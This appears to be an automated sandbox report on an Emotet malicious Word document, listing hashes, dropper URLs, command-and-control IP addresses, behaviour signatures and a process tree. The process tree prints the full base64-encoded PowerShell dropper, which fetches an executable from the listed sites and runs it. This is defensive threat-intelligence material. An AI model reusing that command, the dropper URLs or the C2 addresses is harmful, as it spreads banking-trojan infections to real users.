emotet | 25155c0bdbb328c6e4d68df35320b627b978d287c658085bc03617601fff804b

General

Target
emotet_e2_25155c0bdbb328c6e4d68df35320b627b978d287c658085bc03617601fff804b_2020-08-19__123434._doc.doc
Size 254KB
Sample200819-v7944b93x6
SHA256 25155c0bdbb328c6e4d68df35320b627b978d287c658085bc03617601fff804b
MD5 3ce19b6ab05dfa7c21ef6350d98e82ed
SHA1 d990731fc90435aa3135b1501aa604579d43612c
SHA512 d01adf85a7b89a7ba911c2d2126cdfd58cf943b3125450b917812889a6a036b380e23609b7ff81b47a47bdccd3938946c5a9674a025d24cdd50d565435183a47
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://easma.cn/wp-admin/yy/
exe.dropper
https://adhd.org.sa/sub_mrs/Zj0ZrG/
exe.dropper
http://avanwilligen.nl/vo/tUbJ/
exe.dropper
http://archmedia.com.br/Blog/sVey/
exe.dropper
http://bhar.com.br/caurina/tE/
exe.dropper
http://radiacaoweb.com.br/ZxOf1E/
exe.dropper
http://ceyhunhurcan.com/revolution-addons/mRXi8NJ/

Extracted

Family

emotet

C2

64.183.73.122:80
69.30.203.214:8080
67.205.85.243:8080
222.214.218.37:4143
104.236.246.93:8080
110.145.77.103:80
89.186.91.200:443
74.120.55.163:80
95.179.229.244:8080
70.167.215.250:8080
47.146.117.214:80
209.141.54.221:8080
24.43.99.75:80
103.86.49.11:8080
142.105.151.124:443
62.138.26.28:8080
24.179.13.119:80
37.187.72.193:8080
137.59.187.107:8080
97.82.79.83:80
24.137.76.62:80
121.124.124.40:7080
5.196.74.210:8080
81.2.235.111:8080
87.106.139.101:8080
173.62.217.22:443
24.233.112.152:80
87.106.136.232:8080
104.131.11.150:443
201.173.217.124:443
85.66.181.138:80
107.185.211.16:80
68.44.137.144:443
68.188.112.97:80
113.160.130.116:8443
5.39.91.110:7080
95.213.236.64:8080
181.211.11.242:80
188.83.220.2:443
181.230.116.163:80
85.152.162.105:80
104.131.44.150:8080
203.117.253.142:80
169.239.182.217:8080
72.12.127.184:443
75.139.38.211:80
85.105.205.77:8080
168.235.67.138:7080
204.197.146.48:80
200.41.121.90:80
2.58.16.85:7080
190.160.53.126:80
109.116.214.124:443
78.24.219.147:8080
37.70.8.161:80
74.208.45.104:8080
116.203.32.252:8080
185.94.252.104:443
180.92.239.110:8080
79.98.24.39:8080
167.86.90.214:8080
152.168.248.128:443
157.245.99.39:8080
91.211.88.52:7080
41.60.200.34:80
83.169.36.251:8080
37.139.21.175:8080
47.144.21.12:443
61.19.246.238:443
139.130.242.43:80
174.137.65.18:80
157.147.76.151:80
153.163.83.106:80
98.109.204.230:80
176.111.60.55:8080
189.212.199.126:443
62.75.141.82:80
93.51.50.171:8080
190.55.181.54:443
203.153.216.189:7080
109.74.5.95:8080
174.102.48.180:80
93.147.212.206:80
139.59.60.244:8080
46.105.131.79:8080
199.101.86.142:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	292	504	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3084-16-0x0000000000B90000-0x0000000000B9C000-memory.dmp	emotet
behavioral2/memory/3084-16-0x0000000000B90000-0x0000000000B9C000-memory.dmp	emotet
behavioral2/memory/3756-19-0x00000000006D0000-0x00000000006DC000-memory.dmp	emotet
behavioral2/memory/3756-19-0x00000000006D0000-0x00000000006DC000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
23	292	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3084	Yy5m4s.exe
3756	iasrad.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\wsp_fs\iasrad.exe	Yy5m4s.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3816	WINWORD.EXE
3816	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
292	powersheLL.exe
292	powersheLL.exe
292	powersheLL.exe
3756	iasrad.exe
3756	iasrad.exe
3756	iasrad.exe
3756	iasrad.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	292	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3084	Yy5m4s.exe
3084	Yy5m4s.exe
3756	iasrad.exe
3756	iasrad.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 292 wrote to memory of 3084	292	powersheLL.exe	77
PID 292 wrote to memory of 3084	292	powersheLL.exe	77
PID 292 wrote to memory of 3084	292	powersheLL.exe	77
PID 3084 wrote to memory of 3756	3084	Yy5m4s.exe	78
PID 3084 wrote to memory of 3756	3084	Yy5m4s.exe	78
PID 3084 wrote to memory of 3756	3084	Yy5m4s.exe	78

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_25155c0bdbb328c6e4d68df35320b627b978d287c658085bc03617601fff804b_2020-08-19__123434._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3816

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABPADgAcQBkADEAZABmAD0AKAAnAFIAJwArACcAMAByAGoANQB6AF8AJwApADsALgAoACcAbgAnACsAJwBlAHcALQBpAHQAZQAnACsAJwBtACcAKQAgACQARQBOAHYAOgBUAEUAbQBwAFwATwBGAEYAaQBDAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIAZQBjAHQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBjAHUAYABSAGkAYABUAFkAYABQAFIATwBUAE8AYABjAE8AbAAiACAAPQAgACgAJwB0AGwAcwAxACcAKwAnADIALAAgAHQAJwArACcAbABzADEAMQAsACcAKwAnACAAdABsAHMAJwApADsAJABMAGEAZAAyAG0AcgBqACAAPQAgACgAJwBZAHkAJwArACcANQBtADQAcwAnACkAOwAkAEsAdgBoAHUAMAB1AHEAPQAoACcAVQByAHcAaQBnACcAKwAnAGIAMwAnACkAOwAkAEUAZAB3ADgAZgBlADQAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAHkATQBrAE8AZgBmAGkAJwArACcAYwAnACsAJwBlADIAMAAxADkAJwArACcAeQBNACcAKwAnAGsAJwApAC0AYwByAGUAcABsAGEAQwBlACcAeQBNAGsAJwAsAFsAQwBoAEEAcgBdADkAMgApACsAJABMAGEAZAAyAG0AcgBqACsAKAAnAC4AZQB4ACcAKwAnAGUAJwApADsAJABDADkANQBoAGgAeAB1AD0AKAAnAFQAYQAnACsAJwA5ADQAegB4ADkAJwApADsAJABRADQAZQBhAHAAbwBvAD0ALgAoACcAbgBlAHcALQAnACsAJwBvAGIAagBlAGMAJwArACcAdAAnACkAIABuAGUAdAAuAHcAZQBCAEMATABpAEUATgB0ADsAJABOAG8AeABfAF8AeQBoAD0AKAAnAGgAdAB0AHAAOgAvAC8AZQBhAHMAbQBhACcAKwAnAC4AJwArACcAYwBuAC8AdwAnACsAJwBwAC0AYQBkAG0AaQBuAC8AeQB5ACcAKwAnAC8AKgAnACsAJwBoAHQAdABwAHMAOgAvACcAKwAnAC8AYQBkAGgAZAAnACsAJwAuACcAKwAnAG8AcgBnAC4AcwBhAC8AcwB1AGIAXwBtAHIAcwAvAFoAagAwAFoAJwArACcAcgBHACcAKwAnAC8AKgBoAHQAdABwACcAKwAnADoALwAnACsAJwAvACcAKwAnAGEAdgAnACsAJwBhAG4AdwBpAGwAbABpAGcAJwArACcAZQBuAC4AbgBsAC8AdgAnACsAJwBvAC8AdABVAGIASgAnACsAJwAvACoAaAB0AHQAJwArACcAcAA6AC8ALwBhAHIAYwBoAG0AZQAnACsAJwBkAGkAJwArACcAYQAuACcAKwAnAGMAbwBtAC4AYgByAC8AQgBsAG8AZwAnACsAJwAvACcAKwAnAHMAVgBlAHkALwAqAGgAdAAnACsAJwB0ACcAKwAnAHAAOgAvAC8AYgBoAGEAcgAnACsAJwAuAGMAJwArACcAbwBtAC4AYgByAC8AYwBhAHUAcgBpAG4AYQAvAHQARQAvACoAJwArACcAaAB0AHQAcAA6ACcAKwAnAC8ALwByAGEAZABpAGEAYwAnACsAJwBhACcAKwAnAG8AdwAnACsAJwBlACcAKwAnAGIALgBjAG8AbQAuAGIAcgAvAFoAeABPAGYAJwArACcAMQAnACsAJwBFAC8AKgBoAHQAdABwADoALwAvAGMAZQB5AGgAdQBuACcAKwAnAGgAdQByAGMAYQAnACsAJwBuAC4AYwBvAG0ALwByAGUAdgBvAGwAdQB0AGkAbwBuACcAKwAnAC0AYQBkAGQAbwBuAHMALwBtAFIAWAAnACsAJwBpADgATgAnACsAJwBKAC8AJwApAC4AIgBzAHAAYABMAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEIAaQBiAHQAdAB0AGcAPQAoACcARwBhADEAJwArACcAMwAnACsAJwBoAHEANQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABHADIAXwA0AGMAcgA2ACAAaQBuACAAJABOAG8AeABfAF8AeQBoACkAewB0AHIAeQB7ACQAUQA0AGUAYQBwAG8AbwAuACIARABvAHcAYABOAEwAbwBBAGQARgBgAGkAbABlACIAKAAkAEcAMgBfADQAYwByADYALAAgACQARQBkAHcAOABmAGUANAApADsAJABFADkAMQBvAF8AawBxAD0AKAAnAEEAdgA0ACcAKwAnADAAJwArACcAdwB5AGoAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAEUAZAB3ADgAZgBlADQAKQAuACIATABFAG4AYABnAGAAVABoACIAIAAtAGcAZQAgADIAMgA4ADMAMAApACAAewAuACgAJwBJAG4AdgBvAGsAJwArACcAZQAtAEkAdABlACcAKwAnAG0AJwApACgAJABFAGQAdwA4AGYAZQA0ACkAOwAkAEEAZgA5AF8AaQBoAHYAPQAoACcATwBfAGcAOQAnACsAJwA0AHAAJwArACcAbAAnACkAOwBiAHIAZQBhAGsAOwAkAFYAdwAyADgAdAB2ADQAPQAoACcARwB0ADAAMgAnACsAJwBpACcAKwAnAHgAdgAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE8AaABnAGsANwBmADAAPQAoACcARQAnACsAJwB4AHAAbABrADYAJwArACcAaAAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:292
- C:\Users\Admin\AppData\Local\Temp\Office2019\Yy5m4s.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Yy5m4s.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3084
- - C:\Windows\SysWOW64\wsp_fs\iasrad.exe
    "C:\Windows\SysWOW64\wsp_fs\iasrad.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3756

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/292-10-0x00007FF99BFF0000-0x00007FF99C9DC000-memory.dmp

Download

memory/292-11-0x000001CB62F80000-0x000001CB62F81000-memory.dmp

Download

memory/292-12-0x000001CB63130000-0x000001CB63131000-memory.dmp

Download

memory/3084-16-0x0000000000B90000-0x0000000000B9C000-memory.dmp

Download

memory/3756-19-0x00000000006D0000-0x00000000006DC000-memory.dmp

Download

memory/3816-0-0x00007FF9A4270000-0x00007FF9A4936000-memory.dmp

Download

memory/3816-4-0x0000029119F44000-0x0000029119F47000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads